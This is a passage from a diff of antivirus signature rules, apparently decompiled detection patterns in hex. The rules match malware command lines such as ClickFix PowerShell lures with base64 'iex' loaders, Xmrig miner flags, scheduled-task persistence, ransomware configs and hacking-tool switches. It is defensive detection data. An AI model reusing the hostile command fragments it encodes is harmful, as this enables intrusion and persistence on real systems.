1)*109+(#a_00_3 & 1)*68+(#a_00_5 & 1)*116+(#a_00_6 & 1)*117) >=1 } -rule _InfrastructureShared_26449{ +rule _InfrastructureShared_28121{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 6d 72 69 67 2e 5a 21 4d 54 42 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 27 02 2d 00 2d 00 75 00 72 00 6c 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 } //21283 + $a_00_3 = {2d 00 2d 00 75 00 73 00 65 00 72 00 } //1 --user + $a_00_4 = {2d 00 2d 00 63 00 70 00 75 00 2d 00 6d 00 61 00 78 00 2d 00 74 00 68 00 72 00 65 00 61 00 64 00 73 00 } //1 --cpu-max-threads + $a_00_5 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 } //-100 http://127.0.0.1 + $a_00_6 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 } //-100 http://10. + $a_00_7 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 } //-100 http://172. + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100) >=4 + +} +rule _InfrastructureShared_28122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -345892,23 +367602,37 @@ rule _InfrastructureShared_26449{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*36+(#a_00_4 & 1)*117+(#a_00_5 & 1)*114) >=6 } -rule _InfrastructureShared_26450{ +rule _InfrastructureShared_28123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 69 74 74 69 6e 67 42 6f 78 2e 41 21 64 68 61 00 0a 00 32 00 73 00 33 00 3a 00 62 00 61 00 63 00 6b 00 75 00 70 00 73 00 2d 00 6b 00 69 00 75 00 77 00 61 00 6e 00 2d 00 69 00 6e 00 2d 00 } //21283 $a_00_1 = {73 00 2f 00 0a 00 24 00 73 00 33 00 3a 00 73 00 69 00 6d 00 63 00 74 00 37 00 35 00 32 00 73 00 6c 00 76 00 62 00 73 00 33 00 2f 00 03 00 08 00 73 00 79 00 6e 00 63 00 03 00 08 00 63 00 6f 00 70 00 79 00 03 00 08 00 6c 00 73 00 64 00 20 00 03 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 02 00 10 00 74 00 65 00 6d 00 70 00 5c 00 65 00 76 00 74 } //97 - $a_00_3 = {73 00 74 00 65 00 6d 00 5c 00 65 00 76 00 74 00 02 00 12 00 5c 00 72 00 6c 00 6f 00 67 00 2e 00 65 00 78 00 65 00 02 00 0c 00 5c 00 72 00 2e 00 65 00 78 00 65 00 00 00 d7 16 01 00 02 00 02 00 03 00 21 23 43 4d 44 3a 54 61 73 6b 53 63 68 65 64 75 6c 65 72 4d 69 73 63 2e 41 00 01 00 3c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 } //115 - $a_00_5 = {5c 00 64 00 6c 00 6c 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 64 00 20 00 2f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 } //51 - $a_00_6 = {7b 00 41 00 36 00 42 00 46 00 45 00 41 00 34 00 33 00 2d 00 35 00 30 00 31 00 46 00 2d 00 34 00 35 00 36 00 46 00 2d 00 41 00 38 00 34 00 35 00 2d 00 39 00 38 00 33 00 44 00 } //100 {A6BFEA43-501F-456F-A845-983D - $a_00_7 = {44 00 37 00 42 00 38 00 46 00 30 00 7d 00 f6 ff 48 00 31 00 39 00 38 00 31 00 62 00 38 00 38 00 36 00 2d 00 61 00 33 00 31 00 66 00 2d 00 34 00 38 00 36 00 36 00 2d 00 61 00 35 00 30 00 33 00 2d } //51 - $a_00_9 = {63 00 31 00 66 00 64 00 64 00 33 00 37 00 61 00 00 00 d7 1a 01 00 02 00 02 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 } //56 + $a_00_3 = {73 00 74 00 65 00 6d 00 5c 00 65 00 76 00 74 00 02 00 12 00 5c 00 72 00 6c 00 6f 00 67 00 2e 00 65 00 78 00 65 00 02 00 0c 00 5c 00 72 00 2e 00 65 00 78 00 65 00 00 00 d7 15 01 00 01 00 01 00 07 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 43 6c 69 63 6b 46 69 78 2e 47 00 01 00 1a 00 5c 00 4d 00 53 00 42 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 } //115 + $a_00_4 = {22 } //0 " + $a_00_6 = {74 00 61 00 6c 00 6c 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 52 00 65 00 67 00 53 00 76 00 63 00 73 00 2e 00 65 00 78 00 65 00 00 00 01 00 18 00 5c 00 52 00 65 00 67 00 41 00 73 00 6d 00 2e 00 65 00 78 00 65 00 00 00 01 00 28 00 5c 00 41 00 64 00 64 00 49 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 33 } //110 + $a_00_8 = {65 00 00 00 01 00 2a 00 5c 00 61 00 73 00 70 00 6e 00 65 00 74 00 5f 00 63 00 6f 00 6d 00 70 00 69 00 6c 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 64 00 66 00 73 00 76 00 63 00 2e 00 65 00 78 00 65 00 00 00 00 00 d7 16 01 00 02 00 02 00 03 00 21 23 43 4d 44 3a 54 61 73 6b 53 63 68 65 64 75 6c 65 72 4d 69 73 63 2e 41 00 01 00 3c 00 5c 00 } //101 + $a_00_9 = {6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 64 00 6c 00 6c 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 64 00 20 00 2f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 64 00 3a 00 7b 00 41 00 36 00 42 00 46 00 45 00 41 00 34 00 33 00 2d 00 35 00 30 } //87 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_3 & 1)*115+(#a_00_5 & 1)*51+(#a_00_6 & 1)*100+(#a_00_7 & 1)*51+(#a_00_9 & 1)*56) >=10 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_3 & 1)*115+(#a_00_4 & 1)*0+(#a_00_6 & 1)*110+(#a_00_8 & 1)*101+(#a_00_9 & 1)*87) >=10 } -rule _InfrastructureShared_26451{ +rule _InfrastructureShared_28124{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 43 6c 69 63 6b 46 69 78 2e 47 00 01 00 1a 00 5c 00 4d 00 53 00 42 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 22 00 5c 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 75 00 74 00 69 } //21283 + $a_00_2 = {65 00 00 00 01 00 1a 00 5c 00 52 00 65 00 67 00 53 00 76 00 63 00 73 00 2e 00 65 00 78 00 65 00 00 00 01 00 18 00 5c 00 52 00 65 00 67 00 41 00 73 00 6d 00 2e 00 65 00 78 00 65 00 00 00 01 00 28 00 5c 00 41 00 64 00 64 00 49 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 2a 00 5c 00 61 00 73 00 70 00 6e 00 } //101 + $a_00_3 = {5f 00 63 00 6f 00 6d 00 70 00 69 00 6c 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 64 00 66 00 73 00 76 00 63 00 2e 00 65 00 78 00 65 00 00 00 00 00 d7 16 01 00 02 00 02 00 03 00 21 23 43 4d 44 3a 54 61 73 6b 53 63 68 65 64 75 6c 65 72 4d 69 73 63 2e 41 00 01 00 3c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 } //101 + $a_00_4 = {74 00 65 00 6d 00 33 00 32 00 5c 00 64 00 6c 00 6c 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 64 00 20 00 2f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 64 00 3a 00 7b 00 41 00 36 00 42 00 46 00 45 00 41 00 34 00 33 00 2d 00 35 00 30 00 31 00 46 00 2d 00 34 00 35 00 36 00 46 00 2d 00 41 00 38 00 34 00 35 00 2d 00 39 } //121 + $a_00_6 = {41 00 44 00 37 00 42 00 38 00 46 00 30 00 7d 00 f6 ff 48 00 31 00 39 00 38 00 31 00 62 00 38 00 38 00 36 00 2d 00 61 00 33 00 31 00 66 00 2d 00 34 00 38 } //68 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101+(#a_00_4 & 1)*121+(#a_00_6 & 1)*68) >=1 + +} +rule _InfrastructureShared_28125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345919,7 +367643,39 @@ rule _InfrastructureShared_26451{ ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*0) >=2 } -rule _InfrastructureShared_26452{ +rule _InfrastructureShared_28126{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 44 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 04 00 2d 00 77 00 05 00 08 00 e2 00 80 00 95 00 77 00 05 00 08 00 e2 00 80 } //21283 + $a_00_2 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_3 = {2e 00 68 00 74 00 61 00 } //-500 .hta + $a_00_4 = {61 00 7a 00 75 00 72 00 65 00 5f 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 5f 00 67 00 72 00 6f 00 75 00 70 00 } //-500 azure_resource_group + $a_00_5 = {73 00 65 00 6d 00 70 00 74 00 6f 00 73 00 68 00 69 00 62 00 61 00 67 00 61 00 6d 00 65 00 72 00 2e 00 73 00 65 00 6d 00 70 00 74 00 6f 00 73 00 68 00 69 00 62 00 61 00 } //-500 semptoshibagamer.semptoshiba + $a_00_6 = {6f 00 70 00 74 00 69 00 70 00 6c 00 65 00 78 00 61 00 6c 00 69 00 65 00 6e 00 77 00 61 00 72 00 65 00 2e 00 6f 00 70 00 74 00 69 00 70 00 6c 00 65 00 78 00 } //-500 optiplexalienware.optiplex + $a_18_7 = {00 aa 00 aa 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 14 00 2e 00 46 00 69 00 6e 00 64 00 41 00 6c 00 6c 00 28 00 29 00 0a 00 24 00 65 00 63 00 68 00 6f 00 20 00 41 00 44 00 5f 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 73 00 3a 00 0a 00 1c 00 5b 00 61 00 64 00 73 00 69 00 53 00 65 00 61 00 72 00 63 00 68 00 65 00 72 00 5d 00 0a 00 22 00 26 00 28 00 6f 00 62 00 6a 00 65 00 63 00 74 00 43 00 61 00 74 00 65 00 67 00 6f 00 72 00 79 00 3d 00 0a 00 4c 00 2d 00 6d 00 61 00 74 00 63 00 68 00 } //0 + $a_00_8 = {28 00 3f 00 69 00 29 00 56 00 42 00 7c 00 56 00 42 00 52 00 7c 00 56 00 45 00 45 00 41 00 7c 00 56 00 45 00 45 00 41 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*-500+(#a_00_3 & 1)*-500+(#a_00_4 & 1)*-500+(#a_00_5 & 1)*-500+(#a_00_6 & 1)*-500+(#a_18_7 & 1)*0+(#a_00_8 & 1)*32) >=10 + +} +rule _InfrastructureShared_28127{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffaa 00 ffffffaa 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 14 00 2e 00 46 00 69 00 6e 00 64 00 41 00 6c 00 6c 00 28 00 29 00 } //21283 + $a_00_1 = {65 00 63 00 68 00 6f 00 20 00 41 00 44 00 5f 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 73 00 3a 00 } //10 echo AD_Computers: + $a_00_2 = {5b 00 61 00 64 00 73 00 69 00 53 00 65 00 61 00 72 00 63 00 68 00 65 00 72 00 5d 00 } //10 [adsiSearcher] + $a_00_3 = {26 00 28 00 6f 00 62 00 6a 00 65 00 63 00 74 00 43 00 61 00 74 00 65 00 67 00 6f 00 72 00 79 00 3d 00 } //10 &(objectCategory= + $a_00_4 = {2d 00 6d 00 61 00 74 00 63 00 68 00 20 00 27 00 28 00 3f 00 69 00 29 00 56 00 42 00 7c 00 56 00 42 00 52 00 7c 00 56 00 45 00 45 00 41 00 7c 00 56 00 45 00 45 00 41 00 4d 00 7c 00 42 00 43 00 4b 00 7c 00 42 00 41 00 43 00 4b 00 } //10 -match '(?i)VB|VBR|VEEA|VEEAM|BCK|BACK + $a_1a_5 = {00 02 00 02 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 46 00 01 00 3c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 64 00 6c 00 6c 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 64 00 20 00 2f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 64 00 3a 00 7b 00 45 00 39 00 34 00 39 00 35 00 42 00 38 00 37 00 2d 00 44 00 39 00 35 00 30 00 2d 00 34 00 41 00 42 00 35 00 2d 00 38 00 37 00 41 00 35 00 2d 00 46 00 46 00 36 00 44 00 37 00 30 00 42 00 46 00 33 00 45 00 39 00 30 00 7d 00 f6 ff 48 00 38 00 66 00 36 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_1a_5 & 1)*0) >=170 + +} +rule _InfrastructureShared_28128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345931,7 +367687,7 @@ rule _InfrastructureShared_26452{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*53) >=2 } -rule _InfrastructureShared_26453{ +rule _InfrastructureShared_28129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345943,19 +367699,34 @@ rule _InfrastructureShared_26453{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*48) >=2 } -rule _InfrastructureShared_26454{ +rule _InfrastructureShared_28130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 43 5a 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 38 00 49 00 6b 00 35 00 50 00 56 00 45 00 56 00 66 00 54 00 6b 00 46 00 4e 00 52 00 53 } //21283 $a_00_2 = {35 00 50 00 53 00 30 00 39 00 4f 00 54 00 30 00 74 00 50 00 01 00 30 00 49 00 6b 00 56 00 4f 00 51 00 31 00 4a 00 5a 00 55 00 46 00 52 00 66 00 54 00 6b 00 56 00 55 00 56 00 30 00 39 00 53 00 53 00 79 00 49 00 36 00 01 00 2c 00 43 00 4a 00 45 00 52 00 55 00 78 00 46 00 56 00 45 00 56 00 66 00 55 00 30 00 68 00 42 00 52 } //73 - $a_00_4 = {6a 00 70 00 01 00 3c 00 53 00 77 00 69 00 54 00 45 00 39 00 42 00 52 00 46 00 39 00 49 00 53 00 55 00 52 00 45 00 52 00 55 00 35 00 66 00 52 00 46 00 4a 00 4a 00 56 00 6b 00 56 00 54 00 49 00 6a 00 70 00 00 00 d7 1c 01 } //88 + $a_00_4 = {6a 00 70 00 01 00 3c 00 53 00 77 00 69 00 54 00 45 00 39 00 42 00 52 00 46 00 39 00 49 00 53 00 55 00 52 00 45 00 52 00 55 00 35 00 66 00 52 00 46 00 4a 00 4a 00 56 00 6b 00 56 00 54 00 49 00 6a 00 70 00 00 00 d7 1b 01 } //88 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*73+(#a_00_4 & 1)*88) >=5 } -rule _InfrastructureShared_26455{ +rule _InfrastructureShared_28131{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 51 21 4d 54 42 00 64 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2f 02 69 00 72 00 6d 00 } //21283 + $a_00_1 = {74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 29 00 90 00 0a 00 0a 00 27 00 3b 00 26 00 28 00 24 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //32 + $a_ff_3 = {00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 35 00 35 00 2e 00 00 00 d7 1c 01 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 6f 77 65 73 73 65 72 65 2e 4b 00 01 00 1e 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 20 00 62 00 79 00 70 } //46 + $a_00_5 = {01 00 ae 02 69 00 65 00 78 00 20 00 28 00 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 } //115 + $a_00_6 = {69 00 6e 00 67 00 5d 00 3a 00 3a 00 41 00 53 00 43 00 49 00 49 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //111 ing]::ASCII.GetString([Convert]::FromBase64String( + $a_00_7 = {70 00 20 00 90 02 02 48 00 4b 00 90 02 04 3a 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 90 00 01 00 10 02 29 00 2e 00 90 2b 15 00 29 00 29 00 29 00 90 00 00 00 d7 1c 01 00 07 00 07 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 74 61 4e 69 6c 65 2e 4d 21 64 68 61 } //40 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_ff_3 & 1)*46+(#a_00_5 & 1)*115+(#a_00_6 & 1)*111+(#a_00_7 & 1)*40) >=120 + +} +rule _InfrastructureShared_28132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -345967,7 +367738,7 @@ rule _InfrastructureShared_26455{ ((#a_4c_0 & 1)*21539+(#a_69_2 & 1)*-20992+(#a_00_3 & 1)*120) >=4 } -rule _InfrastructureShared_26456{ +rule _InfrastructureShared_28133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " @@ -345980,21 +367751,50 @@ rule _InfrastructureShared_26456{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*48+(#a_00_3 & 1)*48+(#a_00_4 & 1)*45) >=7 } -rule _InfrastructureShared_26457{ +rule _InfrastructureShared_28134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 08 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 7a 7a 61 72 2e 43 00 0a 00 18 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 9c ff 20 00 5c 00 72 00 61 00 7a 00 65 00 72 00 5c 00 73 } //21539 $a_00_2 = {73 00 65 00 33 00 5c 00 9c ff 28 00 5c 00 72 00 61 00 7a 00 65 00 72 00 5c 00 72 00 61 00 7a 00 65 00 72 00 20 00 63 00 6f 00 72 00 74 00 65 00 78 00 5c 00 9c ff 22 00 69 00 6e 00 73 00 69 00 64 00 65 00 72 00 2e 00 72 00 61 00 7a 00 65 00 72 00 2e 00 63 00 6f 00 6d 00 9c ff 1a 00 77 00 77 00 77 00 2e 00 72 00 61 00 7a 00 65 00 72 00 } //97 - $a_00_3 = {6f 00 6d 00 9c ff 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 9c ff 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 9c ff 20 00 5c 00 72 00 7a 00 61 00 70 00 70 00 65 00 6e 00 67 00 69 00 6e 00 65 00 2e 00 65 00 78 00 65 00 00 00 d7 21 01 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f } //46 - $a_3a_4 = {69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 4c 61 74 65 72 61 6c 2e 41 21 69 62 74 00 01 00 2e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 47 02 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 02 01 2f 00 46 00 90 02 01 2f 00 74 } //24938 - $a_00_7 = {6e 00 74 00 43 00 61 00 63 00 68 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 90 00 01 00 6d 02 2f 00 74 00 72 00 90 02 20 5c 00 45 00 76 00 65 00 6e 00 74 00 43 00 61 00 63 00 68 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 65 00 78 00 65 00 22 00 20 00 2f 00 73 00 63 00 20 00 4f 00 } //118 + $a_00_3 = {6f 00 6d 00 9c ff 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 9c ff 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 9c ff 20 00 5c 00 72 00 7a 00 61 00 70 00 70 00 65 00 6e 00 67 00 69 00 6e 00 65 00 2e 00 65 00 78 00 65 00 00 00 d7 1f 01 00 0f 00 0f 00 0c 00 21 23 53 4c 46 50 45 52 3a } //46 + $a_6b_4 = {6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 6f 73 6b 63 68 79 2e 41 21 64 68 61 00 04 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 0a 01 2d 00 50 00 41 00 53 00 53 00 01 00 06 01 2d 00 49 00 50 00 01 00 14 01 2d 00 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 49 00 50 00 01 00 1c 01 2d 00 43 00 } //24904 + $a_00_5 = {73 00 6f 00 6c 00 65 00 4f 00 75 00 74 00 70 00 75 00 74 00 01 00 0a 01 2d 00 4e 00 42 00 4e 00 53 00 01 00 0a 01 2d 00 6d 00 44 00 4e 00 53 00 01 00 0c 01 2d 00 48 00 54 00 54 00 50 00 53 00 01 00 0c 01 2d 00 50 00 72 00 6f 00 78 00 79 00 01 00 08 01 2d 00 53 00 4d 00 42 00 01 00 16 01 2d 00 46 00 69 00 6c 00 65 00 4f 00 75 00 } //111 + $a_00_6 = {75 00 74 00 01 00 28 01 2d 00 46 00 69 00 6c 00 65 00 4f 00 75 00 74 00 70 00 75 00 74 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 00 00 d7 20 01 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 45 21 4d 54 42 00 0a 00 f2 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 } //116 + $a_02_7 = {0c 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00 20 00 6f 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 20 00 2f 00 74 00 6e 00 20 00 90 02 26 20 00 2f 00 74 00 72 00 20 00 90 02 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 58 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 } //115 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_3 & 1)*46+(#a_3a_4 & 1)*24938+(#a_00_7 & 1)*118) >=10 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_3 & 1)*46+(#a_6b_4 & 1)*24904+(#a_00_5 & 1)*111+(#a_00_6 & 1)*116+(#a_02_7 & 1)*115) >=10 } -rule _InfrastructureShared_26458{ +rule _InfrastructureShared_28135{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 0c 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 6f 73 6b 63 68 79 2e 41 21 64 68 61 00 04 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 0a 01 2d 00 50 00 41 00 53 00 53 00 01 00 06 01 2d 00 49 00 50 00 01 } //21283 + $a_2d_1 = {53 } //5120 S + $a_00_3 = {65 00 72 00 49 00 50 00 01 00 1c 01 2d 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 4f 00 75 00 74 00 70 00 75 00 74 00 01 00 0a 01 2d 00 4e 00 42 00 4e 00 53 00 01 00 0a 01 2d 00 6d 00 44 00 4e 00 53 00 01 00 0c 01 2d 00 48 00 54 00 54 00 50 00 53 00 01 00 0c 01 2d 00 50 00 72 00 6f 00 78 00 79 00 01 00 } //111 + $a_00_4 = {53 00 4d 00 42 00 01 00 16 01 2d 00 46 00 69 00 6c 00 65 00 4f 00 75 00 74 00 70 00 75 00 74 00 01 00 28 01 2d 00 46 00 69 00 6c 00 65 } //264 + $a_00_6 = {75 00 74 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 00 00 d7 20 01 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 45 21 4d 54 42 00 0a 00 f2 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 90 02 0c 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 } //116 + $a_00_8 = {6f 00 67 00 6f 00 6e 00 20 00 2f 00 74 00 6e 00 20 00 90 02 26 20 00 2f 00 74 00 72 00 20 00 90 02 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 58 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 } //110 + $a_00_10 = {73 00 5c 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 5c 00 70 00 72 00 